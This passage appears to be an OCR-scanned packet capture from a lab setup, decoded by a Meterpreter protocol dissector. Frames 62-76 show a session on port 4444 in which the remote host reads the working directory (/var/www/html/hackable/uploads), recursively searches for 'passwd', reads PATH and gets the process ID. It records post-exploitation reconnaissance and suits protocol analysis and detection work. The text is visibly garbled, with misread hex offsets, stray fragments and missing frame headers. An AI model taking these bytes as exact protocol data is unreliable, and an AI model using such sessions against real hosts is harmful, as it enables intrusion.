Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
                                                       ..'....'oz...E.
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
0010 00 b0 0e c0 40 00 40 06 15 7a 0a 00 01 0a 0a 00
                                                       ....@.@..z.....
                                                       ....\....x/...
0020 01 05 d9 d2 11 5c 06 18 aa 89 14 78 2f cd 80 18
0030 Oa fe 16 b1 00 00 01 01 08 0a 00 0e 99 af 00 0a
0040 40 b8 00 00 00 7c 00 00 00 01 00 00 00 18 00 01
                                                       @....
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 67 65 74 77
                                                       ..stdapi_fs_getw
0060 64 00 00 00 00 29 00 01 00 02 38 30 30 34 37 32
                                                       d....)....800472
0070 33 30 37 31 39 35 35 34 36 30 35 30 38 37 38 34
                                                       3071955460508784
0880
     34 34 38 39 31 34 36 31 39 36 00 00 00 00 27 00
                                                       4489146196....'.
0090 01 04 b0 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c
                                                       .../var/www/html
00a0 2f 68 61 63 6b 61 62 6c 65 2f 75 70 6c 6f 61 64
                                                       /hackable/upload
```

S.....

00b0 73 00 00 00 00 0c 00 02 00 04 00 00 00 00

Frame 62: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2019, Ack: 3172, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...oz...'....E.
0010 00 34 2f 6d 40 00 40 06 f5 48 0a 00 01 05 0a 00 .4/m@.@.H......
0020 01 0a 11 5c d9 d2 14 78 2f cd 06 18 ab 05 80 10 ...\...x/......

.-.p.....@...

0030 00 2d a5 70 00 00 01 01 08 0a 00 0a 40 b8 00 0e

0040 99 af

```
Frame 63: 139 bytes on wire (1112 bits), 139 bytes captured (1112 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2019, Ack: 3172, Len: 73
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000049 [Command length]: 73
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6765747764 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
   Data: 000000290001000232363239393432393631343835393739... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 323632393934323936313438353937393637313231353636... [Value] 26299429614859796712156671039672
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                     ..'oz...'....E.
0010 00 7d 2f 6e 40 00 40 06 f4 fe 0a 00 01 05 0a 00
                                                     .}/n@.@.....
...\...x/.....
0030 00 2d f4 4d 00 00 01 01 08 0a 00 0a 48 be 00 0e
                                                     .-.M.....H...
0040 99 af 00 00 00 49 00 00 00 00 00 00 00 18 00 01
                                                     .....I.......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 67 65 74 77
                                                     ..stdapi_fs_getw
0060 64 00 00 00 00 29 00 01 00 02 32 36 32 39 39 34
                                                     d....)....262994
0070 32 39 36 31 34 38 35 39 37 39 36 37 31 32 31 35
                                                     2961485979671215
0080 36 36 37 31 30 33 39 36 37 32 00
                                                     6671039672.
```

```
Frame 64: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 3172, Ack: 2092, Len: 124
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000007c [Command length]: 124
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6765747764 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
   Data: 000000290001000232363239393432393631343835393739... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 323632393934323936313438353937393637313231353636... [Value] 26299429614859796712156671039672
Meterpreter protocol, TLV details
   Data: 00000027000104b02f7661722f7777772f68746d6c2f6861... [TLV]
   Command: 0x00000027 [Length]: 39
   Type: 0x000104b0 [Type: Response]: TLV_TYPE_DIRECTORY_PATH
   Data: 2f7661722f7777772f68746d6c2f6861636b61626c652f75... [Value] /var/www/html/hackable/uploads
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
                                                        ..'....'oz...E.
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
0010 00 b0 0e c1 40 00 40 06 15 79 0a 00 01 0a 0a 00
                                                        ....@.@..y.....
                                                        .....\....x0...
0020 01 05 d9 d2 11 5c 06 18 ab 05 14 78 30 16 80 18
0030 Oa fe 16 b1 00 00 01 01 08 0a 00 0e a1 b4 00 0a
0040 48 be 00 00 00 7c 00 00 00 01 00 00 00 18 00 01
                                                       н. . . . | . . . . . . . . .
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 67 65 74 77
                                                        ..stdapi_fs_getw
0060 64 00 00 00 00 29 00 01 00 02 32 36 32 39 39 34
                                                        d....)....262994
0070 32 39 36 31 34 38 35 39 37 39 36 37 31 32 31 35
                                                        2961485979671215
0880
     36 36 37 31 30 33 39 36 37 32 00 00 00 00 27 00
                                                        6671039672....'.
0090 01 04 b0 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c
                                                        .../var/www/html
00a0 2f 68 61 63 6b 61 62 6c 65 2f 75 70 6c 6f 61 64
                                                        /hackable/upload
```

S.....

00b0 73 00 00 00 00 0c 00 02 00 04 00 00 00 00

Frame 65: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae) Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10 Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2092, Ack: 3296, Len: 0 0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E. 0010 00 34 2f 6f 40 00 40 06 f5 46 0a 00 01 05 0a 00 .4/o@.@..F..... 0020 01 0a 11 5c d9 d2 14 78 30 16 06 18 ab 81 80 10 ...\...x0..... 0030 00 2d 94 9f 00 00 01 01 08 0a 00 0a 48 bf 00 0e

0040 a1 b4

```
Frame 66: 173 bytes on wire (1384 bits), 173 bytes captured (1384 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2092, Ack: 3296, Len: 107
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000006b [Command length]: 107
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000019000100017374646170695f66735f736561726368... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000019000100017374646170695f66735f736561726368 [TLV]
   Command: 0x00000019 [Length]: 25
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f73656172636800 [Value] stdapi_fs_search
Meterpreter protocol, TLV details
   Data: 000000290001000232393632363934343133393237313835... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 323936323639343431333932373138353639373534333436... [Value] 29626944139271856975434617491261
Meterpreter protocol, TLV details
   Data: 0000009000104d0 [TLV]
   Command: 0x00000009 [Length]: 9
   Type: 0x000104d0 [Type: Request]: TLV_TYPE_SEARCH_ROOT
   Data: 00 [Value]
Meterpreter protocol, TLV details
   Data: 0000000f000104cf706173737764 [TLV]
   Command: 0x000000f [Length]: 15
   Type: 0x000104cf [Type: Request]: TLV_TYPE_SEARCH_GLOB
   Data: 70617373776400 [Value] passwd
Meterpreter protocol, TLV details
   Data: 00000009000804ce [TLV]
   Command: 0x00000009 [Length]: 9
   Type: 0x000804ce [Type: Request]: TLV_TYPE_SEARCH_RECURSE
   Data: 01 [Value] 🛚
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 9f 2f 70 40 00 40 06 f4 da 0a 00 01 05 0a 00
                                                       ../p@.@.....
0020 01 0a 11 5c d9 d2 14 78 30 16 06 18 ab 81 80 18
                                                       ...\...x0.....
0030 00 2d 90 be 00 00 01 01 08 0a 00 0a 58 f9 00 0e
                                                       .-...X...
0040 al b4 00 00 00 6b 00 00 00 00 00 00 00 19 00 01
                                                       .....k.......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 73 65 61 72
                                                       ..stdapi_fs_sear
0060 63 68 00 00 00 00 29 00 01 00 02 32 39 36 32 36
                                                       ch....)....29626
0070 39 34 34 31 33 39 32 37 31 38 35 36 39 37 35 34
                                                       9441392718569754
0080 33 34 36 31 37 34 39 31 32 36 31 00 00 00 00 09
                                                       34617491261....
0090 00 01 04 d0 00 00 00 00 0f 00 01 04 cf 70 61 73
                                                       ....pas
```

swd.....

00a0 73 77 64 00 00 00 00 09 00 08 04 ce 01

```
Frame 67: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 3296, Ack: 2199, Len: 86
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000056 [Command length]: 86
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000019000100017374646170695f66735f736561726368... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000019000100017374646170695f66735f736561726368 [TLV]
   Command: 0x00000019 [Length]: 25
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f73656172636800 [Value] stdapi_fs_search
Meterpreter protocol, TLV details
   Data: 000000290001000232393632363934343133393237313835... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 323936323639343431333932373138353639373534333436... [Value] 29626944139271856975434617491261
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                        ..'....'oz...E.
0010 00 8a 0e c2 40 00 40 06 15 9e 0a 00 01 0a 0a 00
                                                        ....@.@......
0020 01 05 d9 d2 11 5c 06 18 ab 81 14 78 30 81 80 18
                                                        .....\....x0...
0030 Oa fe 16 8b 00 00 01 01 08 0a 00 0e b1 ec 00 0a
                                                        . . . . . . . . . . . . . . . . . . .
0040 58 f9 00 00 00 56 00 00 00 01 00 00 00 19 00 01
                                                       X....V......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 73 65 61 72
                                                        ..stdapi_fs_sear
0060 63 68 00 00 00 00 29 00 01 00 02 32 39 36 32 36
                                                        ch....)....29626
0070 39 34 34 31 33 39 32 37 31 38 35 36 39 37 35 34
                                                        9441392718569754
0080 33 34 36 31 37 34 39 31 32 36 31 00 00 00 00 0c
                                                       34617491261.....
```

0090 00 02 00 04 00 00 00 00

Frame 68: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2199, Ack: 3382, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...oz...'....E.

0010 00 34 2f 71 40 00 40 06 f5 44 0a 00 01 05 0a 00 .4/q@.@.D.....

0020 01 0a 11 5c d9 d2 14 78 30 81 06 18 ab d7 80 10 ...\.x0....x0.....

.-s1.....X...

0030 00 2d 73 6c 00 00 01 01 08 0a 00 0a 58 f9 00 0e

0040 b1 ec

```
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2199, Ack: 3382, Len: 82
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000052 [Command length]: 82
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000021000100017374646170695f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000021000100017374646170695f7379735f636f6e6669... [TLV]
   Command: 0x00000021 [Length]: 33
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f7379735f636f6e6669675f676574656e76... [Value] stdapi_sys_config_getenv
Meterpreter protocol, TLV details
   Data: 000000290001000239393930333234363835373132313436... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 393939303332343638353731323134363333373330393037... [Value] 99903246857121463373090746275357
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                     ..'oz...'....E.
0010 00 86 2f 72 40 00 40 06 f4 f1 0a 00 01 05 0a 00
                                                     ../r@.@.....
...\...x0.....
0030 00 2d e4 5d 00 00 01 01 08 0a 00 0a 64 eb 00 0e
                                                     .-.].....d...
0040 b1 ec 00 00 00 52 00 00 00 00 00 00 00 21 00 01
                                                     .....R.....!..
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 63 6f 6e
                                                     ..stdapi_sys_con
0060 66 69 67 5f 67 65 74 65 6e 76 00 00 00 00 29 00
                                                     fig_getenv....).
0070 01 00 02 39 39 39 30 33 32 34 36 38 35 37 31 32
                                                      ...9990324685712
0080 31 34 36 33 33 37 33 30 39 30 37 34 36 32 37 35
                                                     1463373090746275
0090 33 35 37 00
                                                     357.
```

Frame 69: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits)

```
Frame 70: 160 bytes on wire (1280 bits), 160 bytes captured (1280 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 3382, Ack: 2281, Len: 94
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005e [Command length]: 94
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000021000100017374646170695f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000021000100017374646170695f7379735f636f6e6669... [TLV]
   Command: 0x00000021 [Length]: 33
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f7379735f636f6e6669675f676574656e76... [Value] stdapi_sys_config_getenv
Meterpreter protocol, TLV details
   Data: 000000290001000239393930333234363835373132313436... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 393939303332343638353731323134363333373330393037... [Value] 99903246857121463373090746275357
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
0010 00 92 0e c3 40 00 40 06 15 95 0a 00 01 0a 0a 00
                                                      ....@.@......
.....\....x0...
0030 Oa fe 16 93 00 00 01 01 08 0a 00 0e bd dd 00 0a
                                                      . . . . . . . . . . . . . . . .
0040 64 eb 00 00 00 5e 00 00 00 01 00 00 00 21 00 01
                                                      d......!..
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 63 6f 6e
                                                      ..stdapi_sys_con
0060 66 69 67 5f 67 65 74 65 6e 76 00 00 00 00 29 00
                                                      fig_getenv....).
0070 01 00 02 39 39 39 30 33 32 34 36 38 35 37 31 32
                                                      ...9990324685712
0080 31 34 36 33 33 37 33 30 39 30 37 34 36 32 37 35
                                                      1463373090746275
```

357.....

0090 33 35 37 00 00 00 00 0c 00 02 00 04 00 00 00 00

Frame 71: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2281, Ack: 3476, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.
0010 00 34 2f 73 40 00 40 06 f5 42 0a 00 01 05 0a 00 .4/s@.@.B.....
0020 01 0a 11 5c d9 d2 14 78 30 d3 06 18 ac 35 80 10 ...\.x0...5..

0030 00 2d 5a d9 00 00 01 01 08 0a 00 0a 64 eb 00 0e .-Z.....d...

0040 bd dd

```
Frame 72: 161 bytes on wire (1288 bits), 161 bytes captured (1288 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2281, Ack: 3476, Len: 95
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005f [Command length]: 95
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000021000100017374646170695f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000021000100017374646170695f7379735f636f6e6669... [TLV]
   Command: 0x00000021 [Length]: 33
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f7379735f636f6e6669675f676574656e76... [Value] stdapi_sys_config_getenv
Meterpreter protocol, TLV details
   Data: 000000290001000239313336383936383034303139383334... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 393133363839363830343031393833343531393336303536... [Value] 91368968040198345193605619206047
Meterpreter protocol, TLV details
   Data: 000000d0001044c70617468 [TLV]
   Command: 0x0000000d [Length]: 13
   Type: 0x0001044c [Type: Request]: TLV_TYPE_ENV_VARIABLE
   Data: 7061746800 [Value] path
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 93 2f 74 40 00 40 06 f4 e2 0a 00 01 05 0a 00
                                                       ../t@.@.....
                                                       ...\...x0....5..
0020 01 0a 11 5c d9 d2 14 78 30 d3 06 18 ac 35 80 18
0030 00 2d f2 5b 00 00 01 01 08 0a 00 0a 69 0a 00 0e
                                                       .-.[....i...
0040 bd dd 00 00 00 5f 00 00 00 00 00 00 00 21 00 01
                                                       ..stdapi_sys_con
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 63 6f 6e
                                                       fig_getenv...).
0060 66 69 67 5f 67 65 74 65 6e 76 00 00 00 00 29 00
0070 01 00 02 39 31 33 36 38 39 36 38 30 34 30 31 39
                                                       ...9136896804019
0080 38 33 34 35 31 39 33 36 30 35 36 31 39 32 30 36
                                                       8345193605619206
0090 30 34 37 00 00 00 00 0d 00 01 04 4c 70 61 74 68
                                                       047....Lpath
```

00a0 00

```
Frame 73: 250 bytes on wire (2000 bits), 250 bytes captured (2000 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 3476, Ack: 2376, Len: 184
Meterpreter protocol, Command details here or in the tree below
   Command: 0x000000b8 [Command length]: 184
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000021000100017374646170695f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000021000100017374646170695f7379735f636f6e6669... [TLV]
   Command: 0x00000021 [Length]: 33
   Type: 0x00010001 [Type: Response]: TLV TYPE METHOD
   Data: 7374646170695f7379735f636f6e6669675f676574656e76... [Value] stdapi_sys_config_getenv
Meterpreter protocol, TLV details
   Data: 000000290001000239313336383936383034303139383334... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 3931333638393638303430313938333435313933336303536... [Value] 91368968040198345193605619206047
Meterpreter protocol, TLV details
   Data: 0000005a4000044e000000d0001044c7061746800000000... [TLV]
   Command: 0x0000005a [Length]: 90
   Type: 0x4000044e [Type: Response]: TLV_TYPE_ENV_GROUP
   bin:/sbin:/bin
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                     ..'....'oz...E.
0010 00 ec 0e c4 40 00 40 06 15 3a 0a 00 01 0a 0a 00
                                                     ....@.@..:....
0020 01 05 d9 d2 11 5c 06 18 ac 35 14 78 31 32 80 18
                                                     ....\...5.x12..
0030 Oa fe 16 ed 00 00 01 01 08 0a 00 0e c1 fb 00 0a
                                                     . . . . . . . . . . . . . . . .
0040 69 0a 00 00 00 b8 00 00 00 01 00 00 00 21 00 01
                                                     i....!..
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 63 6f 6e
                                                     ..stdapi_sys_con
0060 66 69 67 5f 67 65 74 65 6e 76 00 00 00 00 29 00
                                                     fig_getenv....).
0070
     01 00 02 39 31 33 36 38 39 36 38 30 34 30 31 39
                                                     ...9136896804019
0080 38 33 34 35 31 39 33 36 30 35 36 31 39 32 30 36
                                                     8345193605619206
0090 30 34 37 00 00 00 00 5a 40 00 04 4e 00 00 00 0d
                                                     047....Z@..N....
00a0 00 01 04 4c 70 61 74 68 00 00 00 00 45 00 01 04
                                                     ...Lpath....E...
00b0 4d 2f 75 73 72 2f 6c 6f 63 61 6c 2f 73 62 69 6e
                                                     M/usr/local/sbin
00c0 3a 2f 75 73 72 2f 6c 6f 63 61 6c 2f 62 69 6e 3a
                                                     :/usr/local/bin:
00d0 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 62
                                                     /usr/sbin:/usr/b
```

in:/sbin:/bin...

00e0 69 6e 3a 2f 73 62 69 6e 3a 2f 62 69 6e 00 00 00

00f0 00 0c 00 02 00 04 00 00 00 00

Frame 74: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2376, Ack: 3660, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...oz...'....E.

0010 00 34 2f 75 40 00 40 06 f5 40 0a 00 01 05 0a 00 .4/u@.@..@.....

0020 01 0a 11 5c d9 d2 14 78 31 32 06 18 ac ed 80 10 ...\...x12.....

./Q....i...

0030 00 2f 51 83 00 00 01 01 08 0a 00 0a 69 0a 00 0e

0040 c1 fb

```
Frame 75: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2376, Ack: 3660, Len: 83
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000053 [Command length]: 83
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000022000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000022000100017374646170695f7379735f70726f6365... [TLV]
   Command: 0x00000022 [Length]: 34
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f7379735f70726f636573735f6765747069... [Value] stdapi_sys_process_getpid
Meterpreter protocol, TLV details
   Data: 000000290001000238313532373034303439353035353435... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 383135323730343034393530353534353230373732343132... [Value] 81527040495055452077241263645695
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 87 2f 76 40 00 40 06 f4 ec 0a 00 01 05 0a 00
                                                       ../v@.@.....
0020 01 0a 11 5c d9 d2 14 78 31 32 06 18 ac ed 80 18
                                                       ...\...x12.....
0030 00 2f 93 c1 00 00 01 01 08 0a 00 0a 6f 71 00 0e
                                                       ./....oq..
                                                       0040 c1 fb 00 00 00 53 00 00 00 00 00 00 00 22 00 01
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 70 72 6f
                                                       ..stdapi_sys_pro
0060 63 65 73 73 5f 67 65 74 70 69 64 00 00 00 00 29
                                                       cess_getpid....)
0070 00 01 00 02 38 31 35 32 37 30 34 30 34 39 35 30
                                                       ....815270404950
0080 35 35 34 35 32 30 37 37 32 34 31 32 36 33 36 34
                                                       5545207724126364
0090 35 36 39 35 00
                                                       5695.
```

```
Frame 76: 173 bytes on wire (1384 bits), 173 bytes captured (1384 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 3660, Ack: 2459, Len: 107
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000006b [Command length]: 107
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000022000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000022000100017374646170695f7379735f70726f6365... [TLV]
   Command: 0x00000022 [Length]: 34
   Type: 0x00010001 [Type: Response]: TLV TYPE METHOD
   Data: 7374646170695f7379735f70726f636573735f6765747069... [Value] stdapi_sys_process_getpid
Meterpreter protocol, TLV details
   Data: 000000290001000238313532373034303439353035353435... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 383135323730343034393530353534353230373732343132... [Value] 81527040495055452077241263645695
Meterpreter protocol, TLV details
   Data: 0000000c000208fc000003 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x000208fc [Type: Response]: TLV_TYPE_PID
   Data: 000003b9 [Value] 953
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
0010 00 9f 0e c5 40 00 40 06 15 86 0a 00 01 0a 0a 00
                                                      ....@.@......
                                                      .....\....x1...
0030   0a fe 16 a0 00 00 01 01 08 0a 00 0e c8 62 00 0a
0040 6f 71 00 00 00 6b 00 00 00 01 00 00 00 22 00 01
                                                      oa...k....."..
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 70 72 6f
                                                      ..stdapi_sys_pro
0060 63 65 73 73 5f 67 65 74 70 69 64 00 00 00 00 29
                                                      cess_getpid....)
                                                      ....815270404950
